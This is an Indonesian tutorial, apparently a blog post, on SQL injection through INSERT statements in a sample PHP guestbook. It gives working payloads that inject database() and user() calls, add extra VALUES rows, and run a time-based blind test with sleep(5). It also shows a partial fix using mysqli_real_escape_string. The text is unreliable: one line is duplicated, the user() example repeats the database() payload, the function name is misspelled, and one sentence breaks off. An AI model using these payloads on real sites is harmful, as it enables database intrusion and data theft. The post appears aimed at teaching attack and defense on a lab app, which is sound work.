SQL Injection Pada Proses INSERT
Sebelum masuk bagaimana cara untuk
menginject pada proses Insert, kalian bisa download filenya di https://goo.gl/mMn6Vg
Ini adalah cara untuk menginject sesuatu
dengan cara INSERT. Dengan contoh kasus yang saya berikan link di atas.
Kita akan test untuk mengirim pesan pada
form kirim pesan pada contoh kasus yang saya berikan.
jika di isikan Test pada nama dan Pesan maka tidak akan masuk apa apa di dalam Guest Book.
jika di isikan Test pada nama dan Pesan maka tidak akan masuk apa apa di dalam Guest Book.
Untuk
statement untuk INSERT database :
- - $input1 test’,
database()) - -
INSERT INTO tabel (kolom1, kolom2, kolom3)
VALUES (‘vall’, ‘test’, database()) - - ‘, ‘{$input2}’);
Program di atas adalah logika untuk
statement INSERT, jika di masukkan didalam from kirim pesan
name : test’, database()) - -
pesannya : sfasfafasfasdg (pesan asal)
maka akan muncul “pesan tersimpan”
Dan berarti kita sudah benar menebak jumlah
kolom pada database tersebut.
Jika ingin mengetahui nama user pada web tersebut
bisa menggunakan program ini didalam from kirim pesan :
name : test’, database()) - -
pesannya : sfasfafasfasdg (pesan asal)
perbedaannya hanya pada statement setelah
test’ lalu akan muncul nama user yang sesuai tertera pada web tersebut. Dan jika
Penjelasan statement
test’ = nama dari defaultnya
database() = memanggil fungsi database dan
akan muncul nama databasenya
user() = memanggil fungsi user dan akan
muncul nama usernya
Cara untuk mengamankan input 1 yaitu dengan
mengganti dan menambahkan beberapa program berikut ini pada gbpost.php :
<?php
Session_start();
Include ‘koneksi.php’;
$nama = mysqli_real escape_string($conn, $_POST[‘nama’]);
$pesan = $_POST[‘pesan’];
$insert = mysqli_query($conn, “INSERT INTO
guestbook (id, tanggal, nama, pesan) VALUES(NULL, NOW(), ‘{$nama}’, ‘{$pesan}’)”);
jika penggalan program sudah di edit, lalu
di kirim kembali pesan yang sama dari sebelumnya maka akan ditampilkan :
Kita tidak bisa lagi menjalankan yang tadi,
dan akan menampilkan data apa adanya (real) sesuai apa yang di input dalam form
nama. Dan kita sudah tidak berahasil menginject kolom nama. Tapi bagaimana
dengan kolom pesannya? Oke kita lanjut untuk mengamankan kolom pesan.
Tahap selanjutnya untuk input yang 1 sudah
aman, maka yang harus diamankan juga di input yang kedua. Dengan logika seperti
di bawah ini :
- - $input1 aman
- - $input2 test’),
(NULL, database(), user()) - -
INSERT INTO tabel (kolom1, kolom2, kolom3)
VALUES (‘vall’, ‘input1’, ‘test’), (NULL, database(),
user()) - - ‘);
Dan kita akan tetap bisa mendapatkan informasi
dari database dengan teknik BLIND SQL
INECTION dan Time Based, jadi walaupun insert bisa juga dengan BLIND dan time
based. Ini adalah statementa yang dimasukkan ke dalam form pesan:
Test’), (NULL, NOW(), (IF(database() = ‘blog’,
sleep(5), 0)), user()) - -